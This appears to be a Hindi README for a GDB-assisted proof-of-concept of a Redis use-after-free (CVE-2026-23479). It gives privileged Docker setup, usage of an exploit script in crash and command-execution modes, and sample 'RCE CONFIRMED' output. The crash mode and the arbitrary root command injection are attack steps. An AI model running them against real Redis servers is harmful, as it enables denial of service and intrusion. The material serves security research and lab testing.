
GDB-सहायता प्राप्त शोषण के साथ अवधारणा का प्रमाण (केवल शैक्षिक / प्रयोगशाला उपयोग)
Redis के
unblockClientOnKey()में Use-After-Free जो रिमोट कोड एक्ज़ीक्यूशन की ओर ले जाता है
GDB-सहायता प्राप्त शोषण के साथ प्रूफ ऑफ कॉन्सेप्ट (केवल शैक्षिक / प्रयोगशाला उपयोग हेतु)
CVE-2026-23479 Redis संस्करण 7.2.0 से 8.6.2 तक में एक गंभीर Use‑After‑Free (UAF) भेद्यता है।
यह बग unblockClientOnKey() में मौजूद है, जो processCommandAndResetClient() को उसके रिटर्न वैल्यू की जाँच किए बिना कॉल करता है।
यदि उस कॉल के दौरान क्लाइंट मुक्त (free) कर दिया जाता है (जैसे कि eviction के कारण), तो कॉलर एक डैंगलिंग पॉइंटर पर काम करना जारी रखता है → UAF।
जो हमलावर free के बाद हीप को आकार दे सकता है, वह आर्बिट्रेरी कोड एक्ज़ीक्यूशन प्राप्त कर सकता है।
यह रिपॉज़िटरी एक GDB‑सहायता प्राप्त PoC प्रदान करती है जो:
freeClient() कॉल) उत्पन्न करके UAF को सिद्ध करता हैsystem() कॉल इंजेक्ट करके आर्बिट्रेरी कमांड एक्ज़ीक्यूशन प्रदर्शित करता है⚠️ महत्वपूर्ण: यह कोई हथियारबंद (weaponised) एक्सप्लॉइट नहीं है। यह एक विशेषाधिकार प्राप्त (privileged) Docker कंटेनर के अंदर GDB का उपयोग करके यह अनुकरण करता है कि UAF का सफलतापूर्वक शोषण करने के बाद एक वास्तविक हमलावर क्या हासिल कर सकता है।
इसे केवल अपनी स्वयं की प्रयोगशाला में या उन सिस्टमों पर उपयोग करें जिनके परीक्षण की आपके पास स्पष्ट अनुमति है।
crash, gdb, rce, full--container के माध्यम से कोई भी कंटेनर पास करेंXREAD BLOCK कमांड क्लाइंट को स्ट्रीम डेटा की प्रतीक्षा कराती है।pid 1) से अटैच होता है।processCommandAndResetClient पर ब्रेकपॉइंट सेट करें – यह वह फ़ंक्शन है जो ब्लॉक किए गए क्लाइंट के पुनः प्रोसेस होने पर कॉल होता है।XADD पीड़ित को जगाता है।gdb मोड: freeClient($rdi) कॉल करता है → जानबूझकर SIGSEGV उत्पन्न करता है → UAF सिद्ध करता है।rce मोड: system("your command") कॉल करता है → Redis उपयोगकर्ता (डिफ़ॉल्ट रूप से root) के रूप में आर्बिट्रेरी शेल कमांड निष्पादित करता है।ब्रेकपॉइंट हर बार ट्रिगर होता है जब कोई ब्लॉक किया गया क्लाइंट अनब्लॉक होता है, यह दर्शाता है कि वही कोड पथ जिसमें UAF मौजूद है, कोड एक्ज़ीक्यूशन की भी अनुमति देता है।
| ब्रांच | भेद्य सीमा |
|---|---|
| 7.2 | 7.2.0 – 7.2.13 |
| 7.4 | 7.4.0 – 7.4.8 |
| 8.2 | 8.2.0 – 8.2.5 |
| 8.4 | 8.4.0 – 8.4.2 |
स्क्रिप्ट स्वचालित रूप से Redis संस्करण को पार्स करती है और रिपोर्ट करती है कि यह भेद्य है या नहीं।
apt का उपयोग करती है (जैसे आधिकारिक redis:8.6.2)--privileged के साथ बनाया जाना चाहिए (ptrace के लिए आवश्यक)git clone https://github.com/YOUR_USERNAME/CVE-2026-23479-PoC.git
cd CVE-2026-23479-PoC
docker run -d --name redis-vuln-local --privileged -p 6379:6379 \
redis:8.6.2 redis-server --protected-mode no
docker exec -u root redis-vuln-local bash -c "
apt-get update && apt-get install -y gdb binutils procps
"
docker exec redis-vuln-local gdb --version
redis-cli -h 127.0.0.1 -p 6379 ping # should return PONG
python3 redisexp.py <target> -p <port> -m <mode> --container <name> [--cmd "command"]
नोट: सभी कमांड होस्ट मशीन से चलाए जाते हैं, न कि Docker कंटेनर के अंदर।
python3 redisexp.py 127.0.0.1 -p 6379 -m gdb --container redis-vuln-local
[+] Victim blocked on XREAD
[+] GDB script deployed
[*] Triggering unblock via XADD...
[+] SIGSEGV in processCommand after freeClient()
[+] This confirms the UAF code path in unblockClientOnKey()
सेग्मेंटेशन फॉल्ट के बाद Redis क्रैश हो जाएगा।
कंटेनर को पुनः प्रारंभ करें:
docker start redis-vuln-local
एक स्वच्छ स्थिति सुनिश्चित करने के लिए Redis को पुनः प्रारंभ करें:
docker restart redis-vuln-local
एक्सप्लॉइट चलाएँ:
python3 redisexp.py 127.0.0.1 -p 6379 -m rce \
--cmd "touch /tmp/pwned" \
--container redis-vuln-local
प्रूफ फ़ाइल सत्यापित करें:
docker exec redis-vuln-local ls -l /tmp/pwned
यदि सफल होता है, तो फ़ाइल मौजूद होगी, जो यह सिद्ध करेगी कि:
system("touch /tmp/pwned");
Redis कंटेनर के अंदर निष्पादित किया गया था।
python3 redisexp.py 127.0.0.1 -p 6379 -m crash --container redis-vuln-local
यदि Redis अप्रत्याशित रूप से बाहर निकलता है (कंटेनर अब चालू नहीं है), तो संभवतः UAF ट्रिगर हो गया है।
इसे पुनः प्रारंभ करें:
docker start redis-vuln-local
python3 redisexp.py 127.0.0.1 -p 6379 -m full --container redis-vuln-local
यह मोड:
============================================================
CVE-2026-23479 Redis UAF Exploit PoC
============================================================
[*] Target: 127.0.0.1:6379
[*] Version: 8.6.2
[+] VULNERABLE
[*] Method: RCE via UAF code path injection
Exploits CVE-2026-23479 UAF in unblockClientOnKey()
Breakpoint on processCommandAndResetClient -> system()
Command: touch /tmp/pwned
[+] Victim blocked on XREAD
Successfully copied 2.05kB to redis-vuln-local:/tmp/cve_rce.gdb
[+] GDB RCE script deployed
[+] GDB attached, breakpoint active
[*] Triggering unblock via XADD...
[*] Checking for RCE evidence in /tmp/pwned...
[+] RCE CONFIRMED! Proof file /tmp/pwned created.
[+] Redis alive after exploit
============================================================
Results
============================================================
Target: 127.0.0.1:6379
Version: 8.6.2
Vulnerable: YES
RCE: CONFIRMED (arbitrary command execution)
============================================================
मूल PoC env-redis-vuln-1 नामक कंटेनर के लिए हार्डकोडेड था और नए Python संस्करणों के साथ निष्पादित होने पर इसमें कई समस्याएँ थीं।
अद्यतन संस्करण निम्नलिखित सुधार प्रस्तुत करता है:
docker stop redis-vuln-local
docker rm redis-vuln-local
यह उपकरण केवल शैक्षिक उद्देश्यों, अधिकृत सुरक्षा अनुसंधान, और उन सिस्टमों के परीक्षण के लिए है जिनके स्वामी आप हैं या जिनके मूल्यांकन की आपके पास स्पष्ट अनुमति है।
लेखक अनधिकृत या दुर्भावनापूर्ण उपयोग का समर्थन या प्रोत्साहन नहीं करता है।
किसी भी उत्पादन या तृतीय-पक्ष सिस्टम का परीक्षण करने से पहले हमेशा उचित प्राधिकरण प्राप्त करें।
सुरक्षा समुदाय के लिए ❤️ के साथ निर्मित।
नैतिक बने रहें। सुरक्षित रहें।
| 8.6 |
| 8.6.0 – 8.6.2 |
| मोड | विवरण |
|---|
crash | मेमोरी दबाव (memory pressure) के माध्यम से UAF ट्रिगर करने का प्रयास (GDB की आवश्यकता नहीं)। Redis क्रैश हो सकता है, लेकिन गारंटी नहीं। |
gdb | GDB अटैच करें और ब्रेकपॉइंट पर freeClient() कॉल करें → एक SIGSEGV को बाध्य करता है (UAF सिद्ध करता है)। |
rce | GDB अटैच करें और ब्रेकपॉइंट पर system(cmd) कॉल करें → कंटेनर के अंदर एक शेल कमांड निष्पादित करता है। |
full | पहले crash चलाएँ; यदि Redis क्रैश नहीं होता है, तो gdb पर वापस जाएँ। |
| तर्क | डिफ़ॉल्ट | विवरण |
|---|
target | (आवश्यक) | Redis सर्वर का IP पता |
-p, --port | 6379 | Redis पोर्ट |
-m, --mode | full | crash, gdb, rce, full में से एक |
--container | env-redis-vuln-1 | Docker कंटेनर का नाम |
--cmd | id > /tmp/pwned_by_cve | rce मोड में निष्पादित करने के लिए कमांड |
| समस्या | समाधान |
|---|
| हार्डकोडेड कंटेनर नाम | --container तर्क जोड़ा गया और इसे सभी फ़ंक्शनों में प्रचारित किया गया। |
GDB स्क्रिप्ट में commands ब्लॉक के अंदर file कमांड रखा गया था | file /usr/local/bin/redis-server को attach से पहले स्थानांतरित किया गया ताकि GDB सिंबल सही ढंग से लोड कर सके। |
subprocess.run() का उपयोग capture_output=True और stderr=... दोनों के साथ किया गया था | stdout=subprocess.DEVNULL और stderr=subprocess.DEVNULL से प्रतिस्थापित किया गया। |
पुराने GDB प्रोसेस ptrace: Operation not permitted उत्पन्न कर रहे थे | trigger_uaf_gdb() और trigger_rce() दोनों में GDB लॉन्च करने से पहले pkill -9 gdb जोड़ा गया। |
| GDB के चुपचाप विफल होने पर कोई प्रतिक्रिया नहीं | GDB आउटपुट के लिए डीबग लॉगिंग जोड़ी गई और प्रूफ-फ़ाइल पहचान में सुधार किया गया। |